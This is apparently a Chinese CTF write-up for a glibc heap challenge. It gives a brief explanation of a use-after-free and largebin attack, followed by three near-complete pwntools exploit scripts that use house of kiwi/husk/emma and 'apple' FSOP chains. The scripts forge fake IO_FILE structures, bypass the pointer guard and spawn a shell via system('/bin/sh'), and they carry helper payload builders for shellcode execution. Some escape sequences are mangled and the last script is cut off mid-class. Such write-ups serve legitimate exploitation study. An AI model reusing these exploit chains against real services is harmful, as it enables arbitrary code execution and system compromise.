house of lalalalala
前段时间复现了一道题,简单记录下题目做法(当然也可以用apple来打要简单些),前置知识如下:largbin attack,house of kiwi,house of husk,house of emma
首先来看看这题的漏洞点(C++反汇编看起来真的很乱):
存在UAF
选择不同的gift可以分配不同内存,由于使用的是calloc分配的而且大小又大于fastbin,基本肯定得用largbinattack了
然后看看show函数
show函数没什么好说的,会打印size大小和conten内容,这样可以泄漏libc和堆地址了,就不用去打stdout难度下降了很多
然后看看edit函数
edit函数根据索引去写入content内容,结合uaf可以修改fd、bk、fd_nextsize、bk_nextsize。由于这题限制了大小和限制了tcache,所以只能打largbin
largbin利用方式:
1、先放入largbin里面一个chunk
2、把largbin里面的bk_nextsize改为目标地址减去0x20位置
3、把比较小的largbin放入chunk(必须要同一个范围的位置)
这时候fake的地址就变成了之前放入小chunk的堆地址
利用链:
kiwi-> __malloc_assert --> print(husk) --> IO_Cleapup--> emma(gadget) -->getshell
kiwi需要用到(改topchunk去触发断言)
也就是需要用到fxprintf函数(这里不用打fflush),而fxprintf就会触发到husk的利用链
伪造__printf_function_table
,伪造__printf_arginfo_table
然后劫持到IO_Cleapup上去触发emma即可达成利用(为什么不直接劫持one_gadget呢?要是能成功的话就不用这么麻烦了,试了所有的gadget都不行,可以尝试一下用relocchook微调rsp)
exp如下:
#!/usr/bin/env python3
#coding:utf-8
from pwn import *
from LibcSearcher import *
#--------------------prepare------------------------
binary = './pwn'
libc_so = ""
host = "node4.buuoj.cn"
port = 10001
#---------------------------------------------------
elf = ELF(binary)
libc = ELF(libc_so) if libc_so else elf.libc
context(arch = elf.arch, os = 'linux')
if args.G:
context.log_level = 'debug'
p = remote(host, port) if args.R else process(binary)
def attach(msg=''):
context(log_level = 'debug', terminal=["tmux","splitw","-v"])
gdb.attach(p, gdbscript=f'{msg}')
def ROL(data, key):
tmp = bin(data)[2:].rjust(64, '0')
return int(tmp[key:]+tmp[:key], 2)
#---------------------short command-------------------
dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")
checkstr = lambda data:data if isinstance(data, bytes) else data.encode()
sl = lambda data: p.sendline(checkstr(data))
sd = lambda data: p.send(checkstr(data))
sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))
sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))
ru = lambda delimit: p.recvuntil(checkstr(delimit))
rl = lambda : p.recvline()
rcn = lambda number=4096: p.recv(number)
ss = lambda delimit, data: success(f'{delimit}: {data:#x}')
uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))
uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))
str_bin_sh = next(libc.search(b'/bin/shx00'))
get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")
#---------------------IO_FILE_______________________________
__all__ = [
"IO_FILE_plus_struct",
"payload_replace"
]
class IO_FILE_plus_struct(FileStructure):
def __init__(self, null=0):
FileStructure.__init__(self, null)
def __setattr__(self,item,value):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
object.__setattr__(self,item,value)
else:
error("Unknown variable %r" % item)
def __getattr__(self,item):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
return object.__getattribute__(self,item)
error("Unknown variable %r" % item)
def __str__(self):
return str(self.__bytes__())[2:-1]
@property
def _mode(self):
off = 320
if context.bits == 64:
off = 112
return (self.unknown2 >> off) & 0xffffffff
@_mode.setter
def _mode(self, value:int):
assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))
off = 320
if context.bits == 64:
off = 112
self.unknown2 |= (value << off)
@staticmethod
def show_struct(arch="amd64"):
if arch not in ("amd64", "i386"):
error("arch error, noly i386 and amd64 supported!")
print("arch :", arch)
_IO_FILE_plus_struct_map = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
for k, v in _IO_FILE_plus_struct_map[arch].items():
print(" {} : {} ".format(hex(k), v))
def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):
"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so
Args:
stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].
system_addr (int): System address.
lock_addr (int): Lock address.
Returns:
bytes: payload.
"""
self.flags = 0x68732f6e69622f
self._IO_read_ptr = 0x61
self._IO_save_base = system_addr
self._lock = lock_addr
self.vtable = stdout_store_addr + 0x10
return self.__bytes__()
# only support amd64
def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):
"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.
Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.
Args:
_IO_str_jumps_addr (int): Addr of _IO_str_jumps
system_addr (int): Addr of system
bin_sh_addr (int): Addr of the string: /bin/sh
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags &= ~1
self._IO_read_ptr = 0x61
self.unknown2 = 0
self._IO_write_base = 0
self._IO_write_ptr = 0x1
self._IO_buf_base = bin_sh_addr
self.vtable = _IO_str_jumps_addr - 8
return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)
def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,
setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):
"""House of pig to exec shellcode with setcontext.
You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.
Args:
fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain
gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'
str_jumps_addr (int): Addr of _IO_str_jumps
setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61
mprotect_addr (int): Addr of mprotect
shellcode ([type]): The shellcode you wanner execute
lock (int, optional): lock value if needed. Defaults to 0.
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags = 0xfbad2800
self._IO_write_base = 0
self._IO_write_ptr = 0xffffffffffffff
self.unknown2 = 0
self._lock = lock
self.vtable = str_jumps_addr
self._IO_buf_base = fp_heap_addr + 0x110
self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8
payload = flat({
0:self.__bytes__(),
0x100:{
0x8: fp_heap_addr + 0x110,
0x20: setcontext_off_addr,
0xa0: fp_heap_addr + 0x210,
0xa8: mprotect_addr,
0x70: 0x2000,
0x68: (fp_heap_addr + 0x110)&~0xfff,
0x88: 7,
0x100: fp_heap_addr + 0x310,
0x1c0: gadget_addr,
0x200: shellcode
}
})
return payload
def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):
assert isinstance(payload, (str, bytes, int)), "wrong payload!"
assert context.bits in (32, 64), "wrong context.bits!"
assert len(filler) == 1, "wrong filler!"
output = list(payload) if isinstance(payload, bytes) else list(payload.encode())
if isinstance(filler, str):
filler = filler.encode()
for off, data in rpdict.items():
assert isinstance(off, int), "wrong off in rpdict!"
assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)
if isinstance(data, str):
data = data.encode()
elif isinstance(data, int):
data = pack(data, word_size=context.bits, endianness=context.endian)
distance = len(output) - len(data)
if off > distance:
output.extend([int.from_bytes(filler, "little")]*(off - distance))
for i, d in enumerate(data):
output[off+i] = d
return bytes(output)
#---------------------PWN SPACE----------------------
def menu(c):
sla('>> ', str(c))
def add(size):
menu(1)
if size>0x70 and size<0x14f:
t = 1
elif size>=0x14f and size<0x24f:
t = 2
else:
t = 3
sla('3. Gf3~', str(t))
chunk_type = {
1: 'input size of Gf1:', #0x7f-0x14f
2: 'input size of Gf2:', #0x14f-0x24f
3:'input size of Gf3:' #0x24f-0x4ff
}
sla(chunk_type[t], str(size))
def delete(index):
menu(2)
sla('gift you want to give to someone:', str(index))
ru('send success!')
def show(index):
menu(3)
sla('input the idx of gift:', str(index))
def edit(index, content, t = 1):
menu(4)
sla('input the idx of gift:', str(index))
chunk_type = {
1:'leave your blessing of Gf1:n',
2:'leave your blessing of Gf2:n',
3:'leave your blessing of Gf3:n',
}
sa(chunk_type[t], content)
add(0x410) #0
add(0x410) #1
add(0x420) #2
add(0x410) #3
#--------------------leak libc heap-------------------------
delete(2)
show(2)
main_offset = 96 + 0x10 + libc.sym.__malloc_hook
main_arena = uu64(ru(p8(0x7f))[-6:])
libc_base = main_arena - main_offset
add(0x430) #4
edit(2, 'a'*0x11, 3)
show(2)
ru('a'*0x10)
chunk2_addr = uu64(rcn(6)) - 0x61
heapbase = chunk2_addr - 0x12700
ss('heapbase', heapbase)
ss('chunk2', chunk2_addr)
#gadgets =
IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps
IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps #0x1f4560
IO_cookie_jumps = libc_base + 0x1e8a20
setcontext_addr = libc_base + libc.sym.setcontext #0x50bfd # 0x50bc0
pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000
system_addr = libc_base + libc.sym.system
printf_arginfo_table = libc_base + 0x1ed7b0
printf_function_table =libc_base + 0x1f1318
IO_list_all = libc_base + 0x1ed5a0
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdinret')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsinret')))
pop_rdx_ret = libc_base + next(libc.search(asm('pop rdxnret')))
pop_rax_ret = libc_base + next(libc.search(asm('pop raxnret')))
syscall_ret = libc_base + next(libc.search(asm('syscallnret')))
gadgets = asm('mov rdx, qword ptr [rdi+8]nmov qword ptr [rsp],raxncall qword ptr [rdx+0x20]')
gadgets_addr = libc_base + next(libc.search(gadgets)) #0x146020
gadgets_addr = libc_base + 0xe3b31
stderr = libc_base + 0x1ed5c0
ss('magic gadgets', gadgets_addr)
ss('libc base', libc_base)
ss('file_jumps', IO_file_jumps)
ss('helper_jumps', IO_helper_jumps)
ss('setcontext', setcontext_addr)
ss('pointer_chk_guard',pointer_chk_guard_local)
ss('stderr', stderr)
ss('printf_arginfo_table', printf_arginfo_table)
ss('printf_function_table',printf_function_table)
# dbg('get gadget')
#chunks
chunk0 = 0x11ec0 + heapbase
chunk1 = 0x122e0 + heapbase
chunk2 = 0x12700 + heapbase#420
chunk3 = 0x12f50 + heapbase
#largebin attack
delete(0)
# attach()
# dbg('delete')
payload = flat([
main_arena,
main_arena,
chunk2,
printf_function_table - 0x20 #libc_base + 0x1e94a0 - 0x20
])
edit(2, payload, 3)
# attach()
add(0x450) #5
# attach()
add(0x410) #6
delete(6)
# attach()
payload = flat([
main_arena,
main_arena,
chunk2,
pointer_chk_guard_local - 0x20 #libc_base + 0x1e94a0 - 0x20
])
edit(2, payload, 3)
add(0x450) #7
add(0x410) #8
# attach()
delete(8)
payload = flat([
main_arena,
main_arena,
chunk2,
printf_arginfo_table - 0x20 #libc_base + 0x1e94a0 - 0x20
])
edit(2, payload, 3)
add(0x450) #9
# dbg('arginfo')
add(0x410) #10
delete(10)
payload = flat([
main_arena,
main_arena,
chunk2,
IO_list_all - 0x20 #libc_base + 0x1e94a0 - 0x20
])
edit(2, payload, 3)
add(0x450) #11
# dbg('io list all')
fake_io = FileStructure()
fake_io.flags = 0xfbad1800
fake_io.vtable = IO_cookie_jumps + 0x58
fake_io._IO_write_ptr = 1
fake_io = bytes(fake_io)
print(len(fake_io))
fake_io += p64(libc_base + str_bin_sh) #__cookie ->rdi
#fake_io += p64(0)
fake_io += p64(rol(system_addr^chunk2, 0x11)) #ror
IO_cleanup = libc_base + 0x92d60
payload = flat({
0x0: fake_io[0x10:],
})
edit(0, payload, 3)
attach()
edit(2,flat({
0x0:[main_arena,main_arena,chunk2,chunk2],
(920-0x10-8): p64(IO_cleanup)*3
}) ,3)
add(0x450) #12
delete(12)
add(0x440)
edit(12, flat({0x448:0x300}), 3)
# attach()
add(0x450)
#--------INTERACTIVE----------------------------
#get_flag()
p.interactive()
当然还可以用apple1:
#!/usr/bin/env python3
#coding:utf-8
from pwn import *
from LibcSearcher import *
#--------------------prepare------------------------
binary = './pwn'
libc_so = ""
host = "node4.buuoj.cn"
port = 10001
#---------------------------------------------------
elf = ELF(binary)
libc = ELF(libc_so) if libc_so else elf.libc
context(arch = elf.arch, os = 'linux')
if args.G:
context.log_level = 'debug'
p = remote(host, port) if args.R else process(binary)
def attach(msg=''):
context(log_level = 'debug', terminal=["tmux","splitw","-v"])
gdb.attach(p, gdbscript=f'{msg}')
dbg()
def ROL(data, key):
tmp = bin(data)[2:].rjust(64, '0')
return int(tmp[key:]+tmp[:key], 2)
__all__ = [
"IO_FILE_plus_struct",
"payload_replace"
]
class IO_FILE_plus_struct(FileStructure):
def __init__(self, null=0):
FileStructure.__init__(self, null)
def __setattr__(self,item,value):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
object.__setattr__(self,item,value)
else:
error("Unknown variable %r" % item)
def __getattr__(self,item):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
return object.__getattribute__(self,item)
error("Unknown variable %r" % item)
def __str__(self):
return str(self.__bytes__())[2:-1]
@property
def _mode(self):
off = 320
if context.bits == 64:
off = 112
return (self.unknown2 >> off) & 0xffffffff
@_mode.setter
def _mode(self, value:int):
assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))
off = 320
if context.bits == 64:
off = 112
self.unknown2 |= (value << off)
@staticmethod
def show_struct(arch="amd64"):
if arch not in ("amd64", "i386"):
error("arch error, noly i386 and amd64 supported!")
print("arch :", arch)
_IO_FILE_plus_struct_map = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
for k, v in _IO_FILE_plus_struct_map[arch].items():
print(" {} : {} ".format(hex(k), v))
def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):
"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so
Args:
stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].
system_addr (int): System address.
lock_addr (int): Lock address.
Returns:
bytes: payload.
"""
self.flags = 0x68732f6e69622f
self._IO_read_ptr = 0x61
self._IO_save_base = system_addr
self._lock = lock_addr
self.vtable = stdout_store_addr + 0x10
return self.__bytes__()
# only support amd64
def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):
"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.
Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.
Args:
_IO_str_jumps_addr (int): Addr of _IO_str_jumps
system_addr (int): Addr of system
bin_sh_addr (int): Addr of the string: /bin/sh
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags &= ~1
self._IO_read_ptr = 0x61
self.unknown2 = 0
self._IO_write_base = 0
self._IO_write_ptr = 0x1
self._IO_buf_base = bin_sh_addr
self.vtable = _IO_str_jumps_addr - 8
return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)
def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,
setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):
"""House of pig to exec shellcode with setcontext.
You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.
Args:
fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain
gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'
str_jumps_addr (int): Addr of _IO_str_jumps
setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61
mprotect_addr (int): Addr of mprotect
shellcode ([type]): The shellcode you wanner execute
lock (int, optional): lock value if needed. Defaults to 0.
Returns:
bytes: payload
"""
assert context.bits == 64, "only support amd64!"
self.flags = 0xfbad2800
self._IO_write_base = 0
self._IO_write_ptr = 0xffffffffffffff
self.unknown2 = 0
self._lock = lock
self.vtable = str_jumps_addr
self._IO_buf_base = fp_heap_addr + 0x110
self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8
payload = flat({
0:self.__bytes__(),
0x100:{
0x8: fp_heap_addr + 0x110,
0x20: setcontext_off_addr,
0xa0: fp_heap_addr + 0x210,
0xa8: mprotect_addr,
0x70: 0x2000,
0x68: (fp_heap_addr + 0x110)&~0xfff,
0x88: 7,
0x100: fp_heap_addr + 0x310,
0x1c0: gadget_addr,
0x200: shellcode
}
})
return payload
def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):
assert isinstance(payload, (str, bytes, int)), "wrong payload!"
assert context.bits in (32, 64), "wrong context.bits!"
assert len(filler) == 1, "wrong filler!"
output = list(payload) if isinstance(payload, bytes) else list(payload.encode())
if isinstance(filler, str):
filler = filler.encode()
for off, data in rpdict.items():
assert isinstance(off, int), "wrong off in rpdict!"
assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)
if isinstance(data, str):
data = data.encode()
elif isinstance(data, int):
data = pack(data, word_size=context.bits, endianness=context.endian)
distance = len(output) - len(data)
if off > distance:
output.extend([int.from_bytes(filler, "little")]*(off - distance))
for i, d in enumerate(data):
output[off+i] = d
return bytes(output)
#---------------------short command-------------------
dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")
checkstr = lambda data:data if isinstance(data, bytes) else data.encode()
sl = lambda data: p.sendline(checkstr(data))
sd = lambda data: p.send(checkstr(data))
sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))
sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))
ru = lambda delimit: p.recvuntil(checkstr(delimit))
rl = lambda : p.recvline()
rcn = lambda number=4096: p.recv(number)
ss = lambda delimit, data: success(f'{delimit}: {data:#x}')
uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))
uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))
str_bin_sh = next(libc.search(b'/bin/shx00'))
get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")
#---------------------PWN SPACE----------------------
def menu(c):
sla('>> ', str(c))
def add(size):
menu(1)
if size>0x70 and size<0x14f:
t = 1
elif size>=0x14f and size<0x24f:
t = 2
else:
t = 3
sla('3. Gf3~', str(t))
chunk_type = {
1: 'input size of Gf1:', #0x7f-0x14f
2: 'input size of Gf2:', #0x14f-0x24f
3:'input size of Gf3:' #0x24f-0x4ff
}
sla(chunk_type[t], str(size))
def delete(index):
menu(2)
sla('gift you want to give to someone:', str(index))
ru('send success!')
def show(index):
menu(3)
sla('input the idx of gift:', str(index))
def edit(index, content, t = 1):
menu(4)
sla('input the idx of gift:', str(index))
chunk_type = {
1:'leave your blessing of Gf1:n',
2:'leave your blessing of Gf2:n',
3:'leave your blessing of Gf3:n',
}
sa(chunk_type[t], content)
def bye():
menu(5)
add(0x418) #0
add(0x418) #1
add(0x428) #2
add(0x418) #3
add(0x418) #4
add(0x80) #5
#--------------------leak libc heap-------------------------
delete(2)
show(2)
main_offset = 96 + 0x10 + libc.sym.__malloc_hook
main_arena = uu64(ru(p8(0x7f))[-6:])
libc_base = main_arena - main_offset
add(0x450) #6
edit(2, 'a'*0x11, 3)
show(2)
ru('a'*0x10)
chunk2_addr = uu64(rcn(6)) - 0x61
heapbase = chunk2_addr - 0x12700
ss('heapbase', heapbase)
ss('chunk2', chunk2_addr)
#gadgets
IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps
IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps #0x1f4560
IO_cookie_jumps = libc_base + 0x1e8a20
setcontext_addr = libc_base + libc.sym.setcontext #0x50bfd # 0x50bc0
pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000
system_addr = libc_base + libc.sym.system
printf_arginfo_table = libc_base + 0x1ed7b0
printf_function_table =libc_base + 0x1f1318
IO_list_all = libc_base + 0x1ed5a0
stderr = libc_base + 0x1ed5c0
IO_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps
IO_wstrn_jumps = libc_base + 0x1e8c60#libc.sym._IO_wstrn_jumps
ss('libc_base ', libc_base)
ss('IO_wfile_jumps', IO_wfile_jumps)
ss('IO_list_all', IO_list_all)
#chunks
chunk0 = 0x11ec0 + heapbase
chunk1 = 0x122e0 + heapbase
chunk2 = 0x12700 + heapbase
chunk3 = 0x12f50 + heapbase
chunk4 = 0x12f50 + heapbase
magic_chunk = heapbase + 0x11eb0
#largebin attack
delete(0)
edit(2, p64(main_arena)*2 + p64(chunk2) + p64(magic_chunk-0x20) ,3)
#attach()
add(0x450) #7
dbg('attack 1')
#hijack IO_list_all
add(0x418) #8
delete(4)
edit(2, p64(main_arena)*2 + p64(chunk2) + p64(IO_list_all-0x20),3)
dbg('attack 2')
add(0x450) #9
dbg('iolistall')
io_file = IO_FILE_plus_struct()
io_file.flags = 0
io_file._IO_read_ptr = 0xffffffffffffffff
io_file._IO_read_end = 0x200
io_file._IO_read_base = 1
io_file.vtable = IO_wfile_jumps
io_file._lock = chunk4
io_file._IO_write_ptr = 0xffffffffffffffff
io_file._IO_write_end = 0
io_file._mode = 1
io_file._wide_data = chunk4 + 0xe0
payload = flat({
0x0: bytes(io_file)[0x10:],
0xd0:{
0x0: [0xffffffffffffffff,0, 0 ], #read_ptr read_end read_base
0x18: 0,
0x20: [1, 2],
0x30: [0,0], #wide_data->_IO_buf_base = 0 not exec free
0xe0: chunk4 + 0x200,
},
0x1f0:{
0x68:system_addr
}
})
edit(4, payload, 3)
edit(3, flat({0x410: u64(b' sh;x00x00x00')}),3) #io_file->flags=0x800
#attach()
bye()
#--------INTERACTIVE----------------------------
#get_flag()
p.interactive()
当然还可以用apple2:
#!/usr/bin/env python3
#coding:utf-8
from pwn import *
from LibcSearcher import *
#--------------------prepare------------------------
binary = './pwn'
libc_so = ""
host = "node4.buuoj.cn"
port = 10001
#---------------------------------------------------
elf = ELF(binary)
libc = ELF(libc_so) if libc_so else elf.libc
context(arch = elf.arch, os = 'linux')
if args.G:
context.log_level = 'debug'
p = remote(host, port) if args.R else process(binary)
def attach(msg=''):
context(log_level = 'debug', terminal=["tmux","splitw","-v"])
gdb.attach(p, gdbscript=f'{msg}')
dbg()
def ROL(data, key):
tmp = bin(data)[2:].rjust(64, '0')
return int(tmp[key:]+tmp[:key], 2)
#---------------------short command-------------------
dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")
checkstr = lambda data:data if isinstance(data, bytes) else data.encode()
sl = lambda data: p.sendline(checkstr(data))
sd = lambda data: p.send(checkstr(data))
sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))
sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))
ru = lambda delimit: p.recvuntil(checkstr(delimit))
rl = lambda : p.recvline()
rcn = lambda number=4096: p.recv(number)
ss = lambda delimit, data: success(f'{delimit}: {data:#x}')
uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))
uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))
str_bin_sh = next(libc.search(b'/bin/shx00'))
get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")
__all__ = [
"IO_FILE_plus_struct",
"payload_replace"
]
class IO_FILE_plus_struct(FileStructure):
def __init__(self, null=0):
FileStructure.__init__(self, null)
def __setattr__(self,item,value):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
object.__setattr__(self,item,value)
else:
error("Unknown variable %r" % item)
def __getattr__(self,item):
if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:
return object.__getattribute__(self,item)
error("Unknown variable %r" % item)
def __str__(self):
return str(self.__bytes__())[2:-1]
@property
def _mode(self):
off = 320
if context.bits == 64:
off = 112
return (self.unknown2 >> off) & 0xffffffff
@_mode.setter
def _mode(self, value:int):
assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))
off = 320
if context.bits == 64:
off = 112
self.unknown2 |= (value << off)
@staticmethod
def show_struct(arch="amd64"):
if arch not in ("amd64", "i386"):
error("arch error, noly i386 and amd64 supported!")
print("arch :", arch)
_IO_FILE_plus_struct_map = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
for k, v in _IO_FILE_plus_struct_map[arch].items():
print(" {} : {} ".format(hex(k), v))
def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):
"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so
Args:
stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].
system_addr (int): System address.
lock_addr (int): Lock address.
Returns:
bytes: payload.
"""
self.flags = 0x68732f6e69622f
self._IO_read_ptr = 0x61
self._IO_save_base = system_addr
self._lock = lock_addr
self.vtable = stdout_store_addr + 0x10
return self.__bytes__()
# only support amd64
